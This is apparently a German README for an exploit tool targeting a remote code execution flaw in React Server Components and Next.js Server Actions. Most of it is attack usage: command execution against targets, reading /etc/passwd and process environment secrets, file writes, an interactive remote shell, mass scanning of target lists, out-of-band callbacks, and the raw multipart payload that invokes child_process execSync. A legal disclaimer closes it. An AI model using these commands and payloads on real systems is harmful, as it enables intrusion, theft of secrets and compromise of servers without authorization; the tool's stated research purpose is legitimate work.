CVE-2025-55182 - React Server Components RCE Exploit v2.0
Ein umfassendes Sicherheitsforschungstool zum Testen der Schwachstellen CVE-2025-55182 und CVE-2025-66478 in React Server Components (RSC) und Next.js Server Actions.
Schwachstellenübersicht
| Eigenschaft | Wert |
|---|
| CVE-IDs | CVE-2025-55182, CVE-2025-66478 |
| CVSS-Score | 10.0 (KRITISCH) |
| Betroffene Versionen | React < 19.2.0, Next.js < 15.0.5 |
| Schwachstellentyp | Remote Code Execution (RCE) |
| Angriffsvektor | Netzwerk |
Funktionen
- Schwachstellenscan im PortSwigger-Stil mit mehreren Erkennungs-Payloads
- Mehrere RCE-Gadgets (execSync, spawnSync, vm.runInThisContext, etc.)
- Out-of-Band (OOB)-Callback-Tests zur Verifizierung blinder RCE
- Datei-Lese-/Schreibfunktionen
- Ausführung von JavaScript-Code
- Interaktiver Shell-Modus
- Massenscanning mit Multithreading
- Proxy-Unterstützung (Burp Suite kompatibel)
- JSON-/Text-Ausgabeformate
Installation
Anforderungen
Python-Version
Schnellstart
# Basic vulnerability check
python3 exploit-custom.py -u https://target.com --check
# Full vulnerability scan (recommended)
python3 exploit-custom.py -u https://target.com --scan
# With proxy (Burp Suite)
python3 exploit-custom.py -u https://target.com --scan -p http://127.0.0.1:8080
# OOB callback test
python3 exploit-custom.py -u https://target.com --oob your-id.oastify.com
# Command execution
python3 exploit-custom.py -u https://target.com --cmd "whoami"
# Interactive shell
python3 exploit-custom.py -u https://target.com --shell
Verwendung
Befehlszeilenargumente
usage: exploit-custom.py [-h] (-u URL | -l URL_LIST) [-p PROXY] [-c COOKIES]
[-H HEADER] [-t THREADS] [--timeout TIMEOUT]
[--check] [--detect] [--scan] [--test-all]
[--oob HOST] [--cmd CMD] [--gadget GADGET]
[--read FILE] [--write FILE CONTENT] [--js JS]
[--shell] [-o OUTPUT] [-q]
Zielauswahl
| Argument | Beschreibung | Beispiel |
|---|
-u, --url | Einzelne Ziel-URL | -u https://target.com |
-l, --list | Datei mit URLs | -l targets.txt |
Scan-Modi
| Argument | Beschreibung |
|---|
--detect | Next.js/RSC-Verwendung erkennen |
--check | Schneller Schwachstellencheck (Mathetest) |
Ausnutzung
Verbindungsoptionen
Ausgabeoptionen
| Argument | Beschreibung |
|---|
-o, --output | Ergebnisse in Datei speichern (.json oder .txt) |
-q, --quiet | Banner unterdrücken |
Scan-Beispiele
Einzelnes Ziel
# Detect Next.js and RSC
python3 exploit-custom.py -u https://target.com --detect
# Quick vulnerability check
python3 exploit-custom.py -u https://target.com --check
# Full scan with all detection payloads
python3 exploit-custom.py -u https://target.com --scan
# Test all gadgets with OOB verification
python3 exploit-custom.py -u https://target.com --test-all --oob xyz.oastify.com
Massenscanning
# Scan multiple targets
python3 exploit-custom.py -l targets.txt --scan -o results.json
# With increased threads
python3 exploit-custom.py -l targets.txt --scan -t 20 -o results.json
# With OOB callbacks
python3 exploit-custom.py -l targets.txt --oob xyz.oastify.com -o results.json
Beispiele zur Ausnutzung
Befehlsausführung
# Using default gadget (execSync)
python3 exploit-custom.py -u https://target.com --cmd "whoami"
# Using specific gadget
python3 exploit-custom.py -u https://target.com --cmd "id" --gadget spawnSync
python3 exploit-custom.py -u https://target.com --cmd "cat /etc/passwd" --gadget execFileSync
Dateioperationen
# Read file
python3 exploit-custom.py -u https://target.com --read /etc/passwd
python3 exploit-custom.py -u https://target.com --read /proc/self/environ
# Write file
python3 exploit-custom.py -u https://target.com --write /tmp/pwned.txt "pwned"
JavaScript-Ausführung
# Get environment variables
python3 exploit-custom.py -u https://target.com --js "JSON.stringify(process.env)"
# Get hostname
python3 exploit-custom.py -u https://target.com --js "require('os').hostname()"
# List directory
python3 exploit-custom.py -u https://target.com --js "require('fs').readdirSync('/')"
Interaktive Shell
python3 exploit-custom.py -u https://target.com --shell
Shell-Befehle:
Verfügbare Gadgets
RCE-Gadgets
Datei-Gadgets
| Name | Modul-ID | Beschreibung |
|---|
fs_readFileSync | fs#readFileSync | Beliebige Dateien lesen |
fs_writeFileSync | fs#writeFileSync | Beliebige Dateien schreiben |
OOB-Gadgets
| Name | Beschreibung |
|---|
vm_fetch | HTTP-Anfrage über die Fetch-API (Node 18+) |
vm_http | HTTP-Anfrage über das http-Modul |
Erkennungs-Payloads (CVE-2025-66478)
Der Modus --scan verwendet diese Erkennungs-Payloads im PortSwigger-Stil:
OOB-Callback-Methoden
Das Tool unterstützt mehrere OOB-Callback-Methoden:
Ausgabeinterpretation
Terminalfarben
Scan-Ergebnisse
[VULN] property_reference Vulnerable pattern detected!
-> Error digest pattern: E{"digest"... (needs OOB verification)
[SAFE] property_reference_v2 HTTP 200
[500] action_ref_vm digest:12345
Technische Details
Das Tool parst die „flight format“-Antworten der React Server Components:
0:{"a":"$@1","b":"$@2"}
1:E{"digest":"12345"}
Multipart-Payload-Struktur
------CVE2025Boundary
Content-Disposition: form-data; name="$ACTION_REF_0"
------CVE2025Boundary
Content-Disposition: form-data; name="$ACTION_0:0"
{"id":"child_process#execSync","bound":["whoami"]}
------CVE2025Boundary--
Content-Type: multipart/form-data; boundary=----CVE2025Boundary
Accept: text/x-component
Next-Action: <random-uuid>
RSC: 1
Next-Router-State-Tree: [[["",{"children":["__PAGE__",{}]},null,null,true]]
Gepatchte Versionen
React
Next.js
- 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7
Anwendungsfälle
Bug Bounty
# 1. Prepare target list
echo "https://app.example.com" > targets.txt
echo "https://api.example.com" >> targets.txt
# 2. Bulk scan
python3 exploit-custom.py -l targets.txt --scan -o results.json
# 3. Verify with OOB
python3 exploit-custom.py -u https://vuln.example.com --oob your-id.oastify.com
Penetrationstests
# 1. Detect technology
python3 exploit-custom.py -u https://target.com --detect
# 2. Analyze with Burp
python3 exploit-custom.py -u https://target.com --scan -p http://127.0.0.1:8080
# 3. Exploit
python3 exploit-custom.py -u https://target.com --shell
Referenzen
Rechtlicher Haftungsausschluss
Dieses Tool wird ausschließlich für autorisierte Sicherheitstests und Bildungszwecke bereitgestellt.
WARNUNG: Unbefugter Zugriff auf Computersysteme ist illegal. Verwenden Sie dieses Tool nur auf Systemen, die Ihnen gehören oder für die Sie eine ausdrückliche schriftliche Genehmigung zum Testen haben.
Die Autoren sind nicht verantwortlich für Missbrauch oder Schäden, die durch dieses Tool verursacht werden.
Lizenz
Dieses Tool wird für Sicherheitsforschung und autorisierte Penetrationstests veröffentlicht.
Autor: Ünsal Furkan Harani
Version: 2.0